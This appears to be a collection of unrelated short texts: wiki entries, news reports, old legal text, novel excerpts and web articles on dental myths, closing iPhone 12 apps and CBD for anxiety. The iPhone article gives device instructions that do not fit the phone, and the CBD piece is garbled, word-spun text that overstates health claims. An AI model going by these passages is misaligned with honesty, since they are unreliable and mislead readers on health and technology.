* José Selva Mergelina, 5th Marquis de Villores, Spanish Carlist politician
* Julio de Urquijo e Ibarra, Count of Urquijo, Spanish Carlist politician
* José Roca y Ponsa, Spanish Catholic priest
* Josep de Suelves i de Montagut, 9th Marquis de Tamarit, Spanish Carlist politician
* Esteban de Bilbao Eguía, Spanish Carlist and Francoist politician
* Ramón del Valle-Inclán, Spanish dramatist and novelist
* Melchor Ferrer Dalmau, Spanish historian and Carlist militant
* Claro Abánades López, Spanish journalist
* José Luis Zamanillo González-Camino, Spanish politician
* Dolores Gortázar Serantes, Spanish writer
* Manuel Fal Conde, 1st Duke of Quintillo, Spanish Carlist politician and Catholic activist
* Rafael Gambra Ciudad, Spanish philosopher and Carlist politician
* Juan María Bordaberry, President of Uruguay
* Osvaldo Lira, Chilean Catholic priest and theologian
* José María Zavala Castella, Spanish Partido Carlista politician
* José Miguel Gambra Gutiérrez, Spanish academic and politician
* Jose Maria Valiente Soriano, Spanish politician
* Princess Marie des Neiges of Bourbon-Parma, French aristocrat and scientist | WIKI |
User:Wikiwikiwoah/sandbox
This biography speaks about a 16 year old girl from California, Originally from Pakistan. who is talented in many ways. Well known as Mala. She is mainly known for art {Painting & Photography}. She has been doing Photography for 2 years only & other painting, drawing stuff since as long as she can remember. She is a girl with an interesting personality. I see a kid in her at times yet a lady as well.
I interviewed her & I found out that she haven’t ever taken an art class, in fact she said.” Dude, I ran out of my art class because I can’t listen to the teacher giving me instructions and telling me how to do my art. I do my art, my way.” {I listened to the recording more than 10x just to get this statement right because it was hilarious how she said it.} She has moved many schools, 8 in the last 3 years but she has always been well known for her art by her school mates, teachers and as well as her principle.
In the summer of 2011, Maliha started teaching children how to paint at a public library while she was herself 15. She did not apply, the librarian asked herself to teach. The librarian watched her everyday carry her art pad and she asked Maliha to show it to her. I interviewed the librarian too because she is my aunt and that is how Maliha and I became friends. I knew her before that because we went to the same school but after this we were really close. This year, 2012, the staff at the library changed but the new manager asked Maliha the same thing and asked her to teach an art class without knowing that she did this last year as well. She taught a class of 50+ students and 50 is just an estimated number, there might be more. A teacher from our school came with her kids in that class and she told Maliha that have you done this teaching thing before because that’s exactly how a good teacher acts. I remember this because I remember Maliha’s reaction. { My crazy artsy chic mala, she is hilarious! Even now I fall off laughing when I remember that day.}
The manager at the library asked her to put up her exhibition. She put her up art photography and paintings and everyone loved it. There was a big opening ceremony with a brunch at the library. An artist came to her exhibition and gifted her his book. That artist has been painting for more than 32 years as we talked to him. But that is not all she does, she has a little bit of everything in her. She is an amazing designer. Take my word for it. I asked her to dress me for my homecoming dance and my spirit week at school and everyone loved my dress at the dance and I got A for participation points in the spirit week which is hard in our school other than this as well, she designs amazing cloths. She is also a blogger and a youth director of the WAKE-UP! Team.
She is a great person in need as well. She will be always there for you even if you call heart 3 in the morning. I remember this because she told me this once when I was sad, exactly this & I did call her once in the middle of the night and I asked her that are you sleeping? I can call later.{ you could tell that she was a sleep} but she said that no she wasn't asleep and she talked to me 2 hours and made me feel better, that’s how good of a person she is.
Not only that, she is the funniest fun person I have ever met. She will joke around and she can make you laugh.
I wrote this biography for my English class. The topic was : Biography on a interesting local character. after reading this, my teacher wanted to meet Maliha. She didn't believe that I am writing about a real person but after meeting mala, my teacher was very happy. She is one the most exciting person. Every day is fun with her and unpredictable as well. This biography got me and A in my class and I couldn't have picked a better person for this.
She did all this before turning 17 and she will turn 17 on the 11th of November 2012.
Biography by Alena Kas | WIKI |
Wikipedia:Peer review/Everton F.C./archive1
Everton F.C.
Basically the whole article needs reviewing by a neutral source. I have been improving it over a long period of time and need guidance as to where it needs attention. Thankyou SenorKristobbal 14:33, 17 August 2006 (UTC)
Probably more points than you hoped for, but here goes: Hope this helps. Oldelpaso 20:41, 17 August 2006 (UTC)
* The biggest problem facing this article is a lack of references, with the only ones referring to recent signings. For information on what sort of thing should be referenced, see WP:CITE. Looking at Arsenal F.C. or Manchester City F.C. may also help with getting an idea of what to reference.
* Merge the facts in the Trivia section elsewhere, or get rid of them.
* The supporters section is biased. More or less all sets of fans would view themselves as "a passionate bunch". If it is so hard for visiting teams to score why was Everton's home defensive record worse than 13 teams (including relegated Birmingham) last season? Again some of this could be helped by references.
* The transfer ins and outs are not needed, as Wikipedia is not a news service.
* There are many one sentence paragraphs, which breaks up the flow of the prose.
* The staff list is unnecessarily long. Do we really need to know who coaches 6-12 year olds?
* Consider moving the club records to Everton F.C. records, and leaving only major ones,(i.e. record overall goalscorer, record victory in any competition).
* The prose could do with a thorough copyedit, and is a little too informal at times.
* It is not necessary to list the reserve team or any player not issued with a squad number. In fact, some of those reserve players with articles may be candidates for deletion, if the guideline Notability (people) is used.
I agree with all of Oldelpaso's points, especially the ones on the trivia section, transfer in & outs, the reserve squad and staff lists and a need to improve the tone. Some additional issues:
* Intro could be a little longer, summarising main points of article.
* History section is a little jumpy and disjointed; as there is a History of Everton F.C. article, this section should be a bit shorter and written in summary style. At the moment, each of the three recent seasons is given a whole paragraph while some decades barely merit a single sentence - this should be more evenly balanced.
* Avoid weasel words, such as:
* The stress of an under-performing team was said to be a factor in Harry Catterick's poor health...
* Fans contend that the 1980s Everton team would have gone on to win even more European silverware...
* It was feared that the club's half-century stay...
* Remove the "Recent News" section - Wikipedia is not a news service. Consider setting up an Everton F.C. category in Wikinews and link to it in external links instead.
* Split colours and badge sections, as they are more or less separate. 2006 badge April Fool mention should also be cut out.
* Nickname could be put in a section of its own.
* a fierce rivalry has existed between Everton and Liverpool, albeit one that is generally perceived as being more respectful - citation needed.
* Everton fans are a very passionate bunch and have a reputation for being hard to face. - needs clarification (there is the implication, though I am sure it is not intended, that Everton fans are violent) and citation.
* It might be worth cutting out the abridged table of managers and just have a link to the main List of Everton F.C. managers page.
* List of shirt sponsors should either be moved into the colours section, and reformatted as a table.
* What references there are should be properly formatted - see Template:Cite web
* There should be book references as well as web ones. Qwghlm 00:08, 18 August 2006 (UTC)
Cheers guys I knew a few of those points anyway but a lot I wouldn't have thought of, cheers. SenorKristobbal 13:58, 18 August 2006 (UTC) | WIKI |
After children die in US custody, authorities turn to nation's pediatricians for help
(CNN)Following the deaths of two migrant children in US Customs and Border Protection custody, the agency's leader reached out to an influential group of pediatricians for guidance. Kevin McAleenan, commissioner of US Customs and Border Protection, reached out on Wednesday to Dr. Colleen Kraft, president of the American Academy of Pediatrics. The two spoke on the phone for about 20 minutes. Kraft, who has previously criticized the agency, described the call as "very positive." The children's deaths come as more and more families are seeking to cross the border illegally. As recently as 2013, 90% of migrants attempting to cross the border were adult men. Last month, 59% of apprehended migrants were families or unaccompanied minors, according to Andrew Meehan, CBP's assistant commissioner for public affairs. "This has created enormous strain on our resources as we tackle the issue of how to deal with large numbers of kids," said Meehan, who confirmed details of the call. He said it was "critically important" that medical organizations such as the AAP "help inform our policies and procedures." "We're going to continue to seek the AAP's input as we tackle this crisis," he said. Kraft said the AAP was eager to help. "Commissioner McAleenan wanted to communicate to us that CBP recognizes the death of these two children is a major problem and they want to improve the care there and our response was 'let us help you do that,'" she said. She said she told the CBP commissioner that pediatricians would need "unfettered access" to facilities along the border to assess conditions, offer guidance on protocols and procedures, and care for children. She said McAleenan told her he would check with his superiors. "His demeanor was very collaborative," the pediatrician said. "I think their deaths really troubled him, and he wanted us to know they recognize there's a problem." The pediatricians' group and the CBP have not always had a happy relationship. In January and then again in March, Kraft wrote to Homeland Security Secretary Kirstjen Nielsen imploring her not to separate children from their parents at the border. Kraft said she did not receive a response. In June, Kraft told CNN that separating children from their parents at the border "is nothing less than government-sanctioned child abuse." Earlier this month, following the death of 7-year-old migrant girl Jakelin Caal Maquin, AAP and 12 other medical organizations reached out to Nielsen and McAleenan. "The death of this young child is tragic and never should have happened," the doctors wrote in a letter Dec. 18. "Many of our organizations have sought to provide expert advice to the federal government, including your agency, about how to best care for and treat immigrant children and pregnant women in your custody. That offer still stands." According to a statement by the Department of Homeland Security, the initial indication from the hospital that treated Jakelin was that the girl died of "sepsis shock." Eight-year-old Felipe Gomez Alonzo died on Christmas Eve, less than three weeks after Jakelin died. An autopsy found he had the flu, though an official cause of death has not been determined. Both children seemed healthy and then within hours became critically ill. Kraft said that's a message she'd like to get to medical staff along the border: Children, much more so than adults, can look healthy but actually be very sick. "A child can be running around and playing while their little systems are breaking down," she said. Kraft said she hopes her group will get a chance to help the government understand the particular health needs of children. "When they triage these children and they don't have that pediatric oversight and expertise, they're going to miss kids who don't look like they're ill when they really are," she said. She added that she hopes to hear back from the Customs and Border Protection commissioner soon. "The conversation on Wednesday was a first step. A lot more has to happen afterwards," she said. CNN's Geneva Sands contributed to this report. | NEWS-MULTISOURCE |
Roche bid to recycle Gayzva for lupus nephritis wins FDA breakthrough tag
ZURICH, Sept 18 (Reuters) - Roche has won the U.S. Food and Drug Administration’s breakthrough therapy tag for its drug Gazyva in lupus nephritis, the Swiss drugmaker said on Wednesday, boosting its efforts to recycle the 2013-approved lymphoma medicine for new indications. There are no FDA-approved medicines for lupus nephritis, a life-threatening symptom of the autoimmune disease lupus in which the kidneys grow inflamed. Roche has heralded Gazyva’s potential in the new disease area in helping turn the drug that had sales of 390 million Swiss francs ($392.59 million) last year into a commercial success. ($1 = 0.9934 Swiss francs) (Reporting by John Miller) | NEWS-MULTISOURCE |
Western European Time
Western European Time (WET, UTC±00:00) is a time zone covering parts of western Europe and consists of countries using UTC±00:00 (also known as Greenwich Mean Time, abbreviated GMT). It is one of the three standard time zones in the European Union along with Central European Time and Eastern European Time.
The following Western European countries and regions use UTC±00:00 in winter months:
* Portugal, since 1912 with pauses (except Azores, UTC−01:00)
* United Kingdom and Crown Dependencies, since 1847 in England, Scotland, Wales, the Channel Islands, and the Isle of Man, and since 1916 in Northern Ireland, with pauses
* Ireland, since 1916, except between 1968 and 1971
* Canary Islands, since 1946 (rest of Spain is CET, UTC+01:00)
* Faroe Islands, since 1908
* North Eastern Greenland (Danmarkshavn and surrounding area)
* Iceland, since 1968, without summer time changes
All the above countries except Iceland implement daylight saving time in summer (from the last Sunday in March to the last Sunday in October each year), switching to Western European Summer Time (WEST, UTC+01:00), which is one hour ahead of WET. WEST is called British Summer Time in the UK and is legally defined as Irish Standard Time in Ireland.
The nominal span of the UTC±00:00 time zone is 7.5°E to 7.5°W (0° ± 7.5°), but does not include the Netherlands, Belgium, Luxembourg, France, Gibraltar or Spain (except Canary Islands) which use Central European Time (CET) even though these are mostly or completely west of 7.5°E. Conversely, Iceland and eastern Greenland use UTC±00:00 although both are west of 7.5°W. In September 2013, a Spanish parliamentary committee recommended switching to UTC±00:00.
Historical uses
A slight variation of UTC±00:00, based until 1911 on the Paris Meridian, was used in:
* Andorra: 1901–1946
* Belgium: 1892–1914 (without daylight saving time) and 1919–1940 (with daylight saving time)
* France: 1911–1940 and 1944–1945
* Gibraltar: 1880–1957
* Luxembourg: 1918–1940
* Monaco: 1911–1945
Until the Second World War, France used UTC±00:00. However, the German occupation switched France to German time, and it has remained in CET since then. Two other occupied territories, Belgium and the Netherlands, did the same, and Spain also switched to CET in solidarity with Germany under the orders of General Franco.
In the United Kingdom, from 1940 to 1945 British Summer Time (BST=CET) was used in winters, and from 1941 to 1945 and again in 1947, British Double Summer Time (BDST=CEST) was used in summers. Between 18 February 1968 and 31 October 1971, BST was used all year round.
In Ireland, from 1940 to 1946 Irish Summer Time (IST=CET) was used all year round, with no 'double' summer time akin to that in the United Kingdom. Between 18 February 1968 and 31 October 1971, Irish Standard Time was used all year round.
In Portugal, CET was used in the mainland from 1966 to 1976 and from 1992 to 1996. The autonomous region of the Azores used WET from 1992 to 1993.
Regions located outside UTC longitudes
Located west of 22°30′ W ("physical" UTC−2)
* Western parts of Iceland
Located west of 7°30′ W ("physical" UTC-1)
* Most of Iceland
* Mykines, Faroe Islands
* Western Ireland
* Western Portugal
* Madeira islands
* Canary Islands
* North-eastern Greenland
* Western parts of Northern Ireland and Scotland
Areas located within UTC+00:00 longitudes using other time zones
These areas are actually located between 7°30′E and 7°30′W (nominally UTC+0) but use UTC+01:00 (Central European Time, nominally for longitudes between 7°30′E and 22°30′E):
All of
* Andorra
* Belgium
* Luxembourg
* Monaco
* Netherlands
and most of and minor parts of other countries.
* France
* Spain | WIKI |
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LA W OF BUSINESS CORPORATIONS. i6l
This was not on any theory that the debt of the corporation was directly the debt of its members, for the contrary seems to have been well understood. For instance, in Y. B. 19 Hy. VI. 80, it was held that an action of debt being brought against the Society of Lombards, and the sheriff having distrained two individual Lom- bards, trespass would lie against him. " For where a corporation is impleaded they ought not to distrain any private person.'* And in the case of Edmunds v. Brown ^ it was held that certain members of the Company of Woodmongers, who had signed a bond as its offi- cers, were not personally liable when the company was dissolved.* If, however, there was an obligation running to the corporation from its members, to be answerable to the corporation for the liability of the latter to the outside world,* this obligation would be part of its assets, which, though not available in a law court, could be reached in equity, and so indirectly the members could be forced to discharge the corporate debts. That such was the case was directly decided in the case of Dr. Salmon v> The Ham- borough Company.* This was an appeal to the Lords from the dismissal of a bill in Chancery against the Hamborough Company and some of its individual members, setting forth that the com- pany owed the plaintiff money, but had nothing to be distrained by, and could, therefore, not be made to appear.* The Lords ordered that the dismissal be reversed, and that if the company did not appear the bill should be taken pro confessoy and in that event, and also in case the company appeared and the plaintiff's claim was found just, a decree should be made that the company pay ; and on failure to do so for ninety days, " that the governor or deputy governor and the twenty-four assistants of the said company, or so many of them as by the tenor of their charter do constitute a quorum for the making of leviations upon the trade or members of the said company, shall make such a leviation upon every member of the said company as is to be contributary to the public charge, as shall be sufficient to satisfy the sum decreed to the plaintiff ; " and in case of failure to answer these
1 1 Lev. 237.
3 See Abo Biihop of Rochester's Case, Owen, 73; s. c. 2 And. 106; Case of the City of London, i Ventr. 351.
* That there was such an obligation in the Roman law see Savigny, § 92.
* Ch. Cat. 294; s. C 6 Vin. Abr. 310.
Co., I Vem. 182; Harvey v. E. I. Co., 2Vem. 395; 3 Kcb. 230, pL 8.
* A distringas was the proper and only process against a corporation. Curson v, African | WIKI |
Akiva (given name)
Akiva or Akiba is a Jewish-ethnic name, arising in Aramaic from יַעֲקֹב, and thus cognate to English Jacob.
Among Jews, "Ya'akov" and "Akiva" - though essentially variants of the same name - are treated as completely separate, arousing different historical and religious associations: the one recalls the Biblical Patriarch Jacob, the other relates to the Roman period Rabbi Akiva.
Akiva
* Rabbi Akiva (c. 50 – c. 135 AD), Judean religious leader
* Akiva Ehrenfeld (1923–2012), president of Kiryat Mattersdorf, Jerusalem
* Akiva Eiger (1761–1837), Polish Talmudic scholar and rabbi
* Akiva Eldar (born 1945), Israeli journalist and author
* Akiva Frankfurt (died 1597), German poet and rabbi
* Akiva Goldsman (born 1962), American writer
* Akiva Govrin (1902–1980), Israeli politician
* Akiva Grunblatt (fl. 2000s), American religious leader
* Akiva ha-Kohen (died 1496), Hungarian scholar and rabbi
* Akiva Baer ben Joseph (died 1724), Viennese Talmudist and kabbalistic writer
* Akiva Librecht (1876–1958), Israeli politician
* Akiva Nof (born 1936), Israeli politician & songwriter
* Akiva Orr (born 1931), Israeli writer & political activist
* Akiva Schaffer (born 1977), American writer & comedian
* Akiva Yosef Schlesinger (1838–1922), Hungarian Orthodox Jewish rabbi
* Akiva Tatz (fl. c. 2000), a South African religious leader & writer
* Akiva Tor, Israeli diplomat and politician
* Akiva Aryeh Weiss (1868–1947), Zionist activist, architect, and city planner
* Akiva Vroman (1912–1989), Israeli geologist
* Akiva Weingarten (born 1984), German-American liberal rabbi
* Akiva Yaglom (1921–2007), Soviet & Russian scientist
Akiba
* Akiba Eisenberg (1908–1983), Hungarian rabbi
* Akiba Lehren (1795–1876), Dutch banker
* Akiba ben Judah Loeb (18th century), German rabbi
* Akiba McKinney (born 1979), American long jumper
* Akiba Rubinstein (1882–1961), Polish-Jewish chess Grandmaster
Fictional characters
* Akiva Shtisel, main character in the television series Shtisel
* Akiva, a seraph and main character on the American fantasy novel Daughter of Smoke and Bone
* Akiva, a fictional Jewish partisan in the novel Wrath Becomes Her | WIKI |
Vintage Sports Car Club of America
The Vintage Sports Car Club of America (VSCCA) is an American auto racing club and sanctioning body focused on competition and sports cars made before 1959. It was founded in 1958 and currently runs a year-round schedule of track, hillclimb, rally, and social events primarily on the East Coast. | WIKI |
Attribute transaction logging
Attributes are a part of dimensions and are loaded and saved together with dimension elements.
When an attribute value is entered it is stored only in memory as long as the dimension is not saved. This is comparable to cell values in a cube that are only stored in memory as long as the cube is not saved.
All specified attribute values are also written to an attribute transaction log. Some operations do this atomically after the operation finished successfully. The name of the log file is <dimension name>.DRS. For example, PRODUCTS.DRS. It is used to restore attribute changes in case the Database Worker was unable to save the dimension before shutting down.
The behavior of attribute transaction files is very similar to the cubes' transaction files (.TRS):
• When a dimension is loaded, the attribute values stored in the corresponding DRS file are loaded.
• When new attribute values are entered they are immediately written to the DRS file.
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China says small bank risks manageable after takeover of troubled Baoshang
BEIJING (Reuters) - China’s banking regulator said risks at small and mid-sized banks are manageable, a central bank publication reported on Sunday, in the latest move to soothe investors’ concerns after the government took over a troubled regional lender last month. The China Banking and Insurance Regulatory Commission (CBIRC) took control of Inner Mongolia’s Baoshang Bank due to “serious” credit risks on May 24, rattling Chinese markets and prompting the People’s Bank of China (PBOC) to inject cash into the banking system. While authorities said it was a standalone case, the seizure comes as Beijing is urging banks to boost lending to help cushion an economic slowdown, fuelling concerns about the health of smaller lenders’ balance sheets amid rising debt and bad loans. “At present, small and mid-sized banks are operating smoothly, liquidity is relatively ample, and overall risks are fully manageable,” the CBIRC said in a Q&A interview with the Financial News. In a separate statement on Sunday, the PBOC said it will provide targeted liquidity support to small and mid-sized banks, after a meeting to discuss the stability of the interbank business. Volatility in the interbank market has significantly eased, according to banks which participated in the meeting. The CBIRC in the interview also said big banks are willing to continue interbank business with small banks to safeguard the stability of financial markets. Some small banks rely heavily on short-term borrowing from the interbank market, leaving other banks at risk if they run into trouble. A Reuters analysis showed at least 18 smaller institutions have not published up-to-date financial reports, and in some of those cases senior regulatory officials have been appointed for bank management oversight. The CBRIC on Sunday sought to allay concerns about such practices, saying some of the banks that have been unable to complete audits were in the midst of equity restructuring, some were preparing to go public and some had changed auditors. Those cases have been reported to the regulator, the CBIRC said. In particular, Shandong-based Hengfeng Bank, which is in the midst of a restructuring spearheaded by the Shandong province, was singled out by CBIRC on Sunday amid market speculation of further consolidation moves after Baoshang’s take-over. The bank has not released its annual report yet. The CBIRC said liquidity at Hengfeng is ample and the bank is operating normally, while adding that authorities will continue to guide Hengfeng to improve its risk controls and compliance. The CBIRC also said it will hire accounting, law and asset appraisal firms in the next step to re-evaluate Baoshang’s assets and liabilities. It said regulators have reached repayment agreements with large depositors at the bank. The take-over of Baoshang was due to the improper and illegal use of significant bank funds by Tomorrow Holdings that holds 89% of Baoshang’s shares, according to PBOC. The CBIRC said on Sunday that the group has voluntarily transferred its stakes in over 10 financial institutions including Bank of Langfang and Taian Bank to new investors, and risks associated with Tomorrow Holdings have been contained. Other financial institutions, including listed Harbin Bank, that the group has stake in are operating smoothly, said the CBIRC. Tomorrow has been in the process of divesting some assets since its chairman Xiao Jianhua was investigated more than two years ago amid a government crackdown on systemic risks posed by financial conglomerates. The billionaire has not been seen since 2017. Reporting by Stella Qiu, Cheng Leng and Tony Munroe; Editing by Christopher Cushing & Kim Coghill | NEWS-MULTISOURCE |
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Debunking Dental Myths
Debunking Dental Myths
Maintaining good oral health is essential for overall well-being, yet there are numerous dental myths that persist, leading to confusion and misinformation. Let's set the record straight and ensure that we are all armed with accurate information to make informed decisions about the dental care.
Myth #1: You Should Avoid the Dentist If Your Teeth Are Fine
One common misconception is that dental visits are only necessary when you experience pain or noticeable issues. Regular dental check-ups are crucial for early detection of potential problems, such as cavities, gum disease, and oral cancers. Visiting your dentist every six months can help prevent minor concerns from becoming major dental issues.
Myth #2: Sugar Is the Sole Cause of Cavities
While sugar consumption is linked to cavities, it's not the sole culprit. Acidic foods and poor oral hygiene also contribute to tooth decay. Maintaining proper oral hygiene practices, such as brushing and flossing regularly, is equally important in preventing cavities.
Myth #3: Brushing Harder Equals Cleaner Teeth
Brushing with excessive force can actually damage your tooth enamel and irritate your gums. Instead, opt for a soft-bristle toothbrush and use gentle, circular motions. Remember, it's the consistency and technique that matter, not the force applied.
Myth #4: Natural Remedies Are Always Better Than Fluoride
Natural doesn't always mean better, especially when it comes to dental care. Fluoride is a proven ingredient that strengthens enamel and helps prevent cavities. While some natural remedies might offer temporary relief, they can't replace the benefits of fluoride toothpaste recommended by dental professionals.
Myth #5: Chewing Sugar-Free Gum Is as Good as Brushing
Chewing sugar-free gum can help stimulate saliva production and wash away food particles, but it's not a substitute for brushing and flossing. These practices physically remove plaque and debris from your teeth, which gum alone cannot achieve.
Myth #6: Flossing Isn't Necessary
Flossing often gets overlooked, but it's a critical part of your oral hygiene routine. Flossing helps remove plaque and food particles from areas your toothbrush can't reach, preventing gum disease and cavities between teeth.
Myth #7: Teeth Whitening Harms Your Enamel
When done correctly and under professional supervision, teeth whitening is safe and doesn't harm enamel. However, overusing or using non-approved products can lead to enamel damage and increased sensitivity. Consulting a dentist before any teeth whitening procedure is recommended.
Myth #8: You Can Straighten Your Teeth with DIY Methods
DIY orthodontic treatments, such as at-home braces, can cause irreversible damage to your teeth and gums. Achieving properly aligned teeth requires professional evaluation and treatment from a qualified orthodontist.
Myth #9: Gum Disease Only Affects Your Mouth
Gum disease isn't just a dental concern; it's linked to various health issues, including heart disease, diabetes, and even pregnancy complications. Taking care of your gums is vital for your overall health.
Myth #10: Oral Health Is Only About Your Teeth
Oral health extends beyond your teeth to include your gums, tongue, and overall mouth health. Regular dental visits can help identify early signs of oral cancer and other conditions that may not be immediately apparent. | ESSENTIALAI-STEM |
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Royer will go back to Paris in the belief that the whole business is still deadly secret. If they can't do that they fail, for once we suspect they know that the whole thing must be altered."
"Then we must stick by the Frenchman's side till he is home again," I said. "If they thought they could get the information in Paris they would try there. It means that they have some deep scheme on foot in Lonidon which they reckon is going to win out."
"Royer dines with my chief, and then comes to my house where four people will see him—Whittaker from the Admiralty, myself, Sir Arthur Drew, and General Winstanley. The First Lord is ill, and has gone to Sheringham, At my house he will get a certain document from Whittaker, and after that he will be motored to Portsmouth where a destroyer will take him to Havre. His journey is too important for the ordinary boat-train. He will never be left unattended for a moment till he is safe on French soil. The same with Whittaker till he meets Royer. That is the | WIKI |
Stänga appar på iPhone 12: En djupgående guide och analys
29 augusti 2023 admin
Introduction :
Stänga appar på iPhone 12: En djupgående guide och analys
Overview of Closing Apps on iPhone 12:
apps
In our digital age, knowing how to efficiently manage and utilize apps on our smartphones has become increasingly important. This article aims to provide a comprehensive understanding of ”stänga appar iPhone 12” or ”closing apps on iPhone 12”, exploring different types of closing apps, their popularity, quantitative metrics, variations among them, as well as a historical review of their pros and cons.
Understanding Closing Apps on iPhone 12:
Closing apps refers to the process of shutting down or suspending applications running in the background on iPhone 12. By closing apps, users can free up system resources, improve device performance, save battery life, and enhance overall user experience.
Types of Closing Apps:
1. Native App Closing:
– iOS Home Gesture: A simple swipe-up gesture allows users to switch between apps and close them.
– App Switcher: Accessed by swiping up from the bottom edge, this feature displays a carousel of recently used apps and enables quick app closure.
– Force Quit: Users can also force quit apps by double-pressing the Home button or swipe up from the bottom edge and swipe the app cards up.
2. Third-Party App Closing:
– Dedicated App Managers: Popular third-party apps like ”Battery Doctor” or ”Clean Master” offer additional features such as app closing by detecting battery-draining or memory-consuming apps.
– Task Killers: These apps provide users with more control over app management, allowing them to manually select and close specific applications.
Quantitative Measurements of Closing Apps on iPhone 12:
To assess the impact of closing apps on iPhone 12, studies have been conducted measuring various metrics such as device performance, battery life, and memory allocation. Researchers have found that closing unnecessary apps can lead to a smoother user experience and improved performance, especially in scenarios where system resources are limited.
Differences Among Various Closing Apps:
While the primary aim of closing apps is the same across different methods, some variations exist:
– Native app closing methods are integrated into iOS and offer a seamless and straightforward experience.
– Third-party app managers provide additional functionality and customization options for advanced users.
– Task killers offer extensive control but may require more technical knowledge and caution when used.
A Historical Review of the Pros and Cons of Different App Closing methods:
Throughout the evolution of iPhone’s operating systems and app management, pros and cons have emerged regarding closing apps:
– Pros: Closing unnecessary apps can save battery life, improve device speed, and enhance multitasking capabilities in certain scenarios.
– Cons: Frequent closing and reopening of apps may hinder battery life, as reopening apps consumes more energy than resuming them from the background. Additionally, force quitting apps can disrupt app syncing and background processes.
Conclusion:
In conclusion, understanding how to efficiently close apps on iPhone 12 is crucial to maximize device performance and enhance overall user experience. Native app closing methods offer simplicity, while third-party app managers and task killers provide additional control and customization. By considering the pros and cons of each approach, users can tailor their app management strategy to suit their specific needs. So, why not take a few moments and optimize your iPhone 12 app usage today?
FAQ
Are there any drawbacks to closing apps on iPhone 12?
Frequent closing and reopening of apps may hinder battery life, as reopening apps consumes more energy than resuming them from the background. Also, force quitting apps can disrupt app syncing and background processes.
What are the different types of app closing methods for iPhone 12?
There are two main types of app closing methods for iPhone 12 – native app closing (using gestures like swipe-up, app switcher, or force quit) and third-party app closing (using dedicated app managers or task killers).
Why should I close apps on my iPhone 12?
Closing apps on iPhone 12 can free up system resources, improve device performance, save battery life, and enhance overall user experience.
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Rh again, you'd be doing a charity, for she cried at parting with it—you'd have thought she was running into a brook. It's a small profit I'll charge you. You shall have it for a florin, for I don't like to be hard-hearted."
"Where is she?" said Romola, giving him the money, and unclasping the necklace from the basket in joyful agitation.
"Outside the gate there, at the other end of the Borgo, at old Sibilla Manetti's: anybody will tell you which is the house."
Romola went along with winged feet, blessing that incident of the Carnival which had made her learn by heart the appearance of this necklace. Soon she was at the house she sought. The young woman and the children were in the inner room—were to have been fetched away a fortnight ago and more—had no money, only their clothes, to pay a poor widow with for their food and lodging. But since madonna knew themRomola waited to hear no more, but opened the door.
Tessa was seated on the low bed: her crying had passed into tearless sobs, and she was looking with sad blank eyes at the two children, who were playing in an opposite corner—Lillo covering his head with his skirt and roaring at Ninna to frighten her, then peeping out again to see how she bore it. The door was a little behind Tessa, and she did not turn round when it opened, thinking it was only the old | WIKI |
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While we do not usually think about anxiety as a good thing, it's actually a vital adaptive response that can assist us cope with threats to our (or a liked one's) safety and well-being. These reactions help us recognize and avoid potential dangers; they can also help motivate us to do something about it to much better our situation (work harder, pay expenses, enhance relationships, and so on).
Nevertheless, when we do not handle these natural responses effectively, they can become maladaptive and impact our work and relationships. This can result in scientifically diagnosable anxiety-related disorders. We've all heard the stating, “tension kills.” It's true!
Anxiety-related conditions affect a huge segment of our population– 40 million grownups (18%) in the United States age 18 and older. In action, Big Pharma has developed various drugs to deal with anxiety-related disorders, from selective serotonin re-uptake inhibitors (SSRIs) like Prozac and Zoloft to tranquilizers (the most popular class being benzodiazepines such as Valium and Xanax).
While these drugs can be effective for numerous clients, some do not respond favorably. Specific patients do not see much enhancement, or they can't endure the negative effects. Additionally, tranquilizers like Valium and Xanax can be extremely addictive.
Plainly, alternative treatments are required.
Could cannabidiol (CBD), the most popular non-psychoactive constituent in cannabis, provide a viable alternative for currently offered anxiety medications?
Perhaps!
Recently, CBD has generated an incredible quantity of interest amongst consumers, clinicians, and researchers.
Why?
Not only does proof suggest CBD neutralizes a lot of THC's unfavorable results, but various animal studies and building up evidence from human speculative, clinical, and epidemiological research studies recommend CBD has powerful anti-anxiety homes.
Administered acutely (” as required”), it appears safe, well-tolerated, and might be helpful to treat a number of anxiety-related disorders, consisting of:
Panic disorder
Compulsive Compulsive Disorder (OCD).
Social phobia.
Post-Traumatic Stress Disorder (PTSD).
Generalized Anxiety Disorder (GAD).
Mild to moderate depression.
How Does CBD Work for Anxiety?
CBD applies several actions in the brain that explain why it could be reliable in dealing with anxiety. Before we dive in, it's important to keep in mind that a lot of research study explaining how CBD works is preclinical and based on animal research studies.
As the stating goes, “mice are not men”– and, arises from animal studies do not constantly nicely transfer to human treatments. However, preclinical studies supply insights that move us in the right direction:.
5-HT1A agonist: 5-HT1A is a subtype of the serotonin receptor, which is important since stress and anxiety and depression can in some cases be treated with medications that target the serotonin system.
This is why drug companies developed selective serotonin re-uptake inhibitors (SSRIs) like Prozac and Zoloft. SSRIs work by blocking reabsorption of serotonin in the brain, which increases accessibility of serotonin in the synaptic area. This assists brain cells transfer more serotonin signals, which can decrease anxiety and boost state of mind in certain cases (although the full biological basis for this is more complex and not completely comprehended).
Just like SSRIs, CBD might improve signaling through serotonin receptors. In an animal research study, Spanish researchers discovered that CBD improves 5-HT1A transmission and might affect serotonin faster than SSRIs. Scientist kept in mind:.
” The fast start of antidepressant action of CBD and the simultaneous anxiolytic (anti-anxiety) result would fix a few of the main restrictions of current antidepressant treatments.”.
Hippocampal neurogenesis: The hippocampus is a major brain location, and plays a crucial function in a variety of brain functions. It's most well-known for its function in memory development and cognition. Brain scans of clients experiencing depression or anxiety frequently show a smaller sized hippocampus, and successful treatment of anxiety is connected with the birth of new nerve cells (neurogenesis) in the hippocampus.
An animal research study utilizing mice found duplicated administration of CBD might help the hippocampus regrow nerve cells, which might be helpful for dealing with anxiety or depression. Research study reveals both SSRIs and CBD may promote neurogenesis.
This is significant, since evidence suggests that seriously impaired neuronal plasticity might affect self-destructive behavior. Future research comparing CBD and SSRIs effect on neurogenesis might open promising new avenues in how we comprehend anxiety and how to many effectively treat it.
How Can CBD Help Anxiety?
Building on the foundation of animal studies, human research studies are beginning to provide evidence to show that CBD can improve numerous commonly reported anxiety-disorder signs, including acute stress and stress and anxiety.
Human Studies Show How CBD Reduces Anxiety.
Brazilian scientists performed a little double-blind study of clients affected with generalized social stress and anxiety. After consuming CBD, participants reported a significant decrease in anxiety. Researchers verified patients' subjective reports by carrying out brain scans revealing cerebral blood circulation patterns consistent with an anti-anxiety impact.
